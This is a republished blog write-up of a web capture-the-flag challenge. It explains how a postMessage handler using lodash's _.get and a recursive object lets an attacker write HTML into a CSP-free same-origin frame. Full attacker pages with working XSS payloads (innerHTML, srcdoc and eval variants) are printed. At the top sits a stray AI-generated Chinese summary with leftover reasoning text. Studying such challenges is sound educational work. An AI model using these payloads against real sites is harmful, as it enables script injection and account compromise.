Solving Turb0’s XSS challenge using recursive object attributes
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容,理解其中的关键点。 文章主要讲的是一个XSS挑战,涉及到如何绕过CSP策略。里面提到了使用postMessage传递数据,通过对象属性赋值来触发XSS。用户还提到了利用递归对象和CSP的特性来实现跨站脚本攻击。 我需要提取出核心信息:目标页面的结构、使用的库、CSP设置、攻击方法以及最终的解决方案。重点在于如何通过控制对象属性和利用CSP的限制来触发XSS。 接下来,我要将这些信息浓缩成简短的描述,确保在100字以内。要注意使用简洁的语言,涵盖关键步骤和方法。 最后,检查总结是否准确反映了文章内容,并且没有遗漏重要的细节。 </think> 文章描述了一个 XSS 挑战,通过控制对象属性赋值和递归对象绕过 CSP 策略,在目标页面中触发 XSS 攻击。利用 `postMessage` 传递数据,并通过构造特殊 payload 将目标窗口的 `document.body` 引用写入对象属性,最终在无 CSP 的窗口中执行恶意脚本。 2025-12-2 11:32:38 Author: joaxcar.com(查看原文) 阅读量:11 收藏

The challenge

https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html

We are given a frameable target page on this address https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html.

The page loads three scripts

<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">

Where the first two are usual suspects, and the third is a custom script. The inner.js contains this

const reHydrate = event => {
  const data = event.data;
  if (!data || typeof data !== "object") {
    log("Invalid message: not an object");
    return;
  }

  const { base, mappings } = data;
  if (!_.isObject(base) || !Array.isArray(mappings)) {
    log("Invalid payload structure: expected { base, mappings[] }");
    return;
  }

  for (const { from, to } of mappings) {
    const val = _.get(event, from);
    base.reqBody[to] = val;
  }
  return base;
}

window.addEventListener("message", event => {
  const hydrated = reHydrate(event);
  fetch('mockedfakeapi', {
    headers: {
      "Content-Type": "application/json"
    },
    method: 'POST',
    body: hydrated.reqBody
  })
}, false);

There is also a CSP on the page generated by this meta tag

  <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

We can note a few things:

  1. lodash is used for object attribute retrieval here _.get
  2. jquery is not used
  3. There is an implicit function call on the line body: hydrated.reqBody
  4. We control an assignment here base.reqBody[to] = val;
  5. The script calls _.get on a postMessage event. This allows us to access window objects using event.source and event.target

The first point will allow us to reference data in an object by a query string, like this.

var obj = {a: {b: {c: 1}}}
var value = _.get(obj, "a.b.c")
value // 1

The second point suggests that jQuery is the intended target for a script gadget. You can read about that in the official write-up here. I decided to try to break the page without touching jquery, I have gone down that rabbit hole before…

The third point is interesting and will put your JavaScript knowledge to the test. There is nothing in the syntax that tells us that there will be a function call when we reach the line body: hydrated.reqBody. But if we look at the fetch documentation we can read

You can supply the body as an instance of any of the following types:

a string ArrayBuffer TypedArray DataView Blob File URLSearchParams FormData ReadableStream

Other objects are converted to strings using their toString() method

Note that last line. Objects will be converted by calling obj.toString(). If you know your prototypes, you know that toString is a method on the Object prototype and not on the specific object. This means that we could create objects like this that would pop an alert when used as body in a fetch call

var obj = {toString: ()=>{alert()}}
fetch("/",{method: "post",body: obj})

Implicit method calls like this are present in a lot of places, and not just for toString. This is great and all, but I decided to solve this challenge without using this sink.

Which leads us to point 4. We have access to an attribute assignment. Can this be enough to trigger the sought XSS?

XSS through assignment

Suppose we want to trigger XSS using only the base.reqBody[to] = val assignment, we are limiting our search space for a solution. There are only a handful of ways to trigger JavaScript execution through assignments, and most of them are just variations of each other

// setting element HTML
elm.innerHTML = y
elm.outerHTML = y
elm.insertAdjacentHTML = y

// setting element on-* attribute
elm.onclick = y // etc..

// navigation to js links
window.location = y
iframe.src = y

// setting iframe srcdoc
iframe.srcdoc = y

We also have the CSP issue, which prevents us from running arbitrary inline scripts and blocks navigation sinks because javascript URLs are blocked. In this case, we need to examine how CSP operates when using these sinks. Let us play with the idea that we have two frames of the same origin, one with CSP and one without

// navigations originating from csp-frame will be blocked
// even when trying to navigate the frame with no CSP
parent.frames[0].location = y // block
parent.frames[1].location = y // block

// using elements and attributes in the same frame
document.body.innerHTML = y // block

// using elements in non-csp-frame
parent.frames[1].document.body.innerHTML = y // works!

For CSP, two things are interesting:

  1. Where does an action originate
  2. Where is the triggering object located

For navigations, browsers always look at the CSP on the document that tries to perform the navigation. The browser will not care about the CSP in the window being navigated. This means that even if you do parent.location = y from a page with a CSP it will block it as well if you try to assign iframe.src of another frame.

(this restriction does not apply to navigation.navigate(y) for “reasons” see example here)

On the other hand, DOM rendering, such as elm.innerHTML and iframe.srcdoc, occurs in the context of the target frame and ignores the caller’s CSP. This means we would need to use an innerHTML sink in a same-origin window to trigger the XSS.

The setup is relatively straightforward and uses one of those CSP bypass tricks everyone should know. We just generate an attacker page that will frame two pages

  1. https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html the challenge page
  2. https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ANYTHING.html 404 non-existing page, lacking CSP

From the challenge page, we can now do things like parent.frames[1].document.body.innerHTML = "<img src=x onerror=alert(document.domain)>". EASY! Well, we are not there yet.

Bypassing object attribute assignment limitations using recursion

At this point, it felt easy, but I had missed one detail. We are at this point able to send a message to the challenge page, looking like this.

var payload = {base: {},
  mappings: [{
    from: "source.frames[1].document.body",  // window reference to no-CSP window
    to: "x",  // Save to data.reqBody.x
  }],
}

frames[0].postMessage(payload,"*")

Which would create this situation

base = {
  reqBody:{
    x: HTMLBody
  }
}

This is not great, as data.reqBody[to] will never let us hit the innerHTML of x. I tried to bypass this using prototype pollution like this

var payload = {base: {},
  mappings: [{
    from: "source.frames[1].document.body",  // window reference to no-CSP window
    to: "__proto__",  // Save to data.reqBody.__proto__
  }],
}

frames[0].postMessage(payload,"*")

Which will give us this

base = {
  reqBody: HTMLBodyElement
}

And this looked promising as HTMLBodyElement is the prototype of body elements and has an innerHTML property! Unfortunately, having access to a prototype is not the same as having a reference to an instance of HTMLBodyElement. When trying to assign to base.reqBody["innerHTML"], we get an Illegal invocation error.

At this point, I was ready to give up You only have that much time in a day as a father of four. But while lying in bed contemplating my attempts, I had an epiphany:

  • JavaScript allows for recursive objects!

I fell asleep but woke early to test my hypothesis.

Solution

The final piece of the puzzle is to control the object pointed to by data.reqBody. It’s controllable by our attacker page, but postMessage will only allow plain objects or other data that survives the structured clone algorithm. Luckily for us, this object is allowed.

var payload = {}
payload.reqBody = payload // {reqBody: {reqBody: {reqBody: ...etc...}}}

Remember that object attributes are just “pointers” to other objects or values. Nothing is stopping an object attribute from pointing to the same object that it’s a part of. We can now use this payload

var payload = {base: {},
  mappings: [{
    from: "source.frames[1].document.body",  // window reference to no-CSP window
    to: "reqBody",  // overwrite the attribute that is being written to!
  },{
    from: "data.xss",  // get our xss payload
    to: "innerHTML",  // write to innerHTML
  }],xss: "<img src=x onerror=alert(document.domain)>" // payload
}

payload.base.reqBody = payload.base

frames[0].postMessage(payload,"*")

This will do the following:

  1. In the first mapping it will call something equal to base.reqBody["reqBody"] = source.frames[1].document.body; and make it so that base.reqBody is pointing to the body element from the non-CSP window.
  2. In the second mapping it will call base.reqBody["innerHTML"] = "<img src=x onerror=alert(document.domain)>" where base.reqBody is now a real element
  3. XSS will pop

Full attacker page:

<script>
  function run() {
    var payload = {
      base: {},
      mappings: [
        {
          from: "source.frames[1].document.body",
          to: "reqBody"
        }, {
          from: "data.xss",
          to: "innerHTML"
        }
      ],
      xss: "<img src=x onerror=alert(document.domain)>"
    }
    payload.base.reqBody = payload.base

    frames[0].postMessage(payload, "*")
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

Summary

  • We can use object recursion to have an assignment of an attribute overwrite itself
  • We can bypass CSP by writing a payload into the DOM of another same-origin window

Bonus: given our newfound knowledge, we could also solve the challenge in other ways. Try to understand why this works.

<script>
  function run() {
    var payload = {
      base: {},
      mappings: [
        {
          from: "source.frames[0].frames[0].frameElement",
          to: "reqBody"
        }, {
          from: "data.xss",
          to: "srcdoc"
        }
      ],
      xss: "<script>alert(document.domain)\u003c/script>"
    }
    payload.base.reqBody = payload.base

    frames[0].frames[0].postMessage(payload, "*")
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/outer.html"></iframe>

And then this modification was created by Turb0 himself after I first sent my solution

<script>
  function run() {
    var payload = {
      base: {},
      "mappings": [
        {
          "from": "target.Array",
          "to": "reqBody"
        }, {
          "from": "target.eval",
          "to": "isArray"
        }
      ]
    }
    payload.base.reqBody = payload.base
    
    frames[0].postMessage(payload, "*")

    // This is needed to survive the fetch error
    setTimeout(() => frames[0].postMessage({
      base: {},
      mappings: 'alert(origin)'
    }, '*'), 500)
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>

文章来源: https://joaxcar.com/blog/2025/12/02/solving-turb0s-xss-challenge-using-recursive-object-attributes/
如有侵权请联系:admin#unsafe.sh